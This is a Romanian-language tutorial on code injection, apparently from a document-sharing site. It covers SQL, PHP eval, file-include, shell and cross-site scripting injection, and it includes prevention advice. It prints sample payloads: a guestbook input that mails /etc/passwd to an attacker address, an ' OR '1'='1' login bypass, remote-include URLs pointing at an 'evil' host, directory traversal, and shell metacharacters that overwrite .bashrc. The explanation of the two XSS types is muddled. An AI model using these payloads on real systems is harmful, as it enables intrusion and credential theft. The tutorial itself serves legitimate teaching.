Sunteți pe pagina 1din 5

Este o tehnica de a introduce (injecta) cod intr-un program sau sistem, exploata nd faptul ca acel sistem nu verifica input-urile.

Scopul acestuia este in genera l de a trece sau de a modifica modul de functionare a acelui program. Daca ne re ferim la un sistem de securitate, rezultatul poate fi unul dezastros pentru vict ima. Un simplu exemplu de "Code injection": pe un server web ruleaza un script de tip "Guest book", care accepta mici mesaje din partea userilor, in general mesaje d e genul: "Salutari, ce site frumos. blablalba" Atacatorul poate stii o vulnerabilitate in acel script, asa ca introduce un mesa j de genul: "; cat /etc/passwd |email atacator@site.com # " -acest cod o data introdus va fu ra fisierul passwd si il va trimite pe email-ul respectiv. Majoritatea acestor probleme sunt legate de presupunerea eronata ca numai unele date pot fi introduse, sau numai anumite efecte pot fi cauzate. Exemple clasice de presupuneri gresite: - presupunerea ca metacaracterele unui API nu vor aparea niciodata intr-un input - presupunerea ca vor fi introduse numai caractere numerice - presupunerea ca valorile setate de server ( de exemplu campurile unui form sau cookie-urile) nu vor putea fi modificate de client. samd Folosirea unui "Code injection" Folosirea rauvoitoare. In general "code injection-ul " este vazut ca o actiune r auvoitoare. Aceste tehnici sunt populare printre hackeri si crackeri pentru a do bandi anumite informatii sau acces neautorizat intr-un sistem. "Code injection-ul" poate fi folosit pentru: -Modificarea arbitrara a valorilor intr-o baza de date prin tip de cod numit "SQ L injection". Rezultatul acestuia poate varia de la compromiterea datelor pana l a deface-ul siteului - Instalarea unor programe de tip malware in computerul victima prin exploatarea vulnerabilitatilor dintru browser, in momentul cand acesta viziteaza un site cr eeat special pentru acest tip de atac - Instalarea de malware sau executarea unor coduri prin exploatarea unui server, prin PHP sau ASP Injection - Obtinerea de privilegii (de obicei se vizeaza root-ul) prin "Shell Injection" in Unix - Obtinerea de privilegii (de obicei se vizeaza Local System) prin "Shell Inject ion" in Windows - Furtul sesiunilor/cookieurilor din browsere, folosind html/script injection (c ross site scripting) Actiuni "binevoitoare" "Code injection" poate fi relativ bun in unele cazuri. De exemplu, un user care doreste sa schimbe sau sa modifice starea unui program sau sistem, poate apela l a "code injection".

Exemple: -includerea unei coloane in pagina unei "search result" care nu fusese inclusa i n proiectul initial. -filtrarea, ordonarea sau gruparea datelor unui field. De obicei se foloseste aceasta modalitate deoarece: -Modificarea functionabilitatii programului este imposibila -Modificare ar produce niste costuri prea mari -Modificarea ar dura prea mult Prevenirea unui "Code injection" -Input validation -Input encoding -Output encoding -Alte modalitati de genul parametrizarii query-urilor sql. Exemple de Code injection "SQL Injection" Acesta se foloseste de sintaxa sql-ului pentru a injecta comenzi care pot citi, modifica sau compromite o baza de date. Luam ca exemplu o pagina dintr-un site. Aceasta are doua fielduri care permit us erilor sa introduca un username si o parola. Codul din spatele paginii va genera un query care va verifica aceste date intr-o lista de username-uri:

Cod: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password'

Daca acest query va returna un row, atunci accesul este permis. Insa, daca ataca torul introduce un username valid dar injecteaza un cod (de exemplu "password' O R '1'='1") in fieldul parolei, query-ul va arata asa:

Cod: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'password' OR '1'='1'

In exemplul de mai sus, "Password" este presupus a fi gol sau sa contina un stri ng oarecare. "'1'='1'" va fi mereu adevarat, asa ca multe linii vor fi returnate , rezultand in validarea accesului.

PHP Injection "PHP Injection," "ASP Injection," etc, sunt termeni care se refera la diferite t ipuri prin care atacatorul trimite codul engine-ului de script al serverului. In practica, PHP injection inseamna ori exploatarea vulnerabilitatilor evaluarilor dinamice, "inc lude file injection" sau alte chestii asemanatoare.

Vulnerabilitatile evaluarilor dinamice -Eval Injection O asemenea vulnerabilitate apare cand atacatorul poate controla o parte sau tot input string-ul din eval() Cod: $myvar = 'ovaloare'; $x = $_GET['arg']; eval('$myvar = ' . $x . ';');

Argumentul "eval" va fi procesat ca PHP, deci comenzile aditionale pot fi luate ca atare. De exemplu, daca "arg" este setat a fi "10; system('/bin/echo uh-oh')" , codul aditional executa un program de pe server, in acest caz "/bin/echo". Include File Injection Consideram urmatorul script (acesta include o pagina specifica printr-un request ) Cod: ?php $color = 'blue'; if ( isset( $_GET['COLOR'] ) ) $color = $_GET['COLOR']; require( $color . '.php' ); ?> <form method="get"> <select name="COLOR"> <option value="rosu">rosu</option> <option value="albastru">albastru</option> </select> <input type="submit"> </form>

Developer-ul a crezut ca numai albastru.php si rosu.php vor fi incarcate. Dar cu m fiecare poate insera un cod arbitrar in COLOR, este posibil sa injectezi cod d in fisiere. -paginavulnerabila.php?COLOR=http://evil/exploit -injecteaza un exploit hostat i n alta parte -paginavulnerabila.php?COLOR=C:\ftp\upload\exploit - injecteaza un fisier upload at care contine un exploit -paginavulnerabila.php?COLOR=..\..\..\..\ftp\upload\exploit -injecteaza un explo it uploadat foloind "directory traversal" -paginavulnerabila.php?COLOR=C:\nota.txt%00 - exemplul foloseste metacaracterul null pentru a sterge sufixul .php, in acest fel se permite accesul altor fisiere in afara de cele .php (daca "magic_quotes_gpc" este ON, atunci acest atac nu po ate fi facut. Shell injection Numele vine de la shellurile din unix, dar este aplicabil oricarui sistem care p ermite rularea de softuri care executa linii de comanda. Sa consideram urmatorul php, care ruleaza un program extern numit funnytext. Ace sta inlocuieste cuvintele introduse de user, cu altele predefinite.

Cod: <HTML> <?php passthru ( " /home/user/php/funnytext " . $_GET['USER_INPUT'] ); ?>

Acest program poate fi injectat prin mai multe feluri: -`command` va executa o comanda -$(command) va executa o comanda -; command va executa o comanda si va afisa rezultatul -| command va executa o comanda si va afisa rezultatul -&& command va executa o comanda si va afisa rezultatul -|| command va executa o comanda si va afisa rezultatul - >/home/user/php/.bashrc - va suprascrie continutul fisierului .bashrc - < /home/user/phpguru/.bashrc - va trimite fisierul .bashrc ca input pentru fun nytext HTML/SCRIPT injection (Cross site scripting) "Cross site scripting" este un subiect foarte popular in ziua de azi, putand fi regasit si sub pseudoni mul "XSS". XSS se refera la o bresa intr-un script web prin care liniile introduse de user nu sunt verificate. Sunt doua tipuri de XSS: 1. Activ. Acest tip de xss este mai putin periculos, pentru ca input-ul userului

este plasat intr-o pagina generata dinamic, astfel nu se pot produce modificari in server. 2. Pasiv. Acest tip de xss este mai periculos, deoarece input-ul este scris intr -o pagina statica.

S-ar putea să vă placă și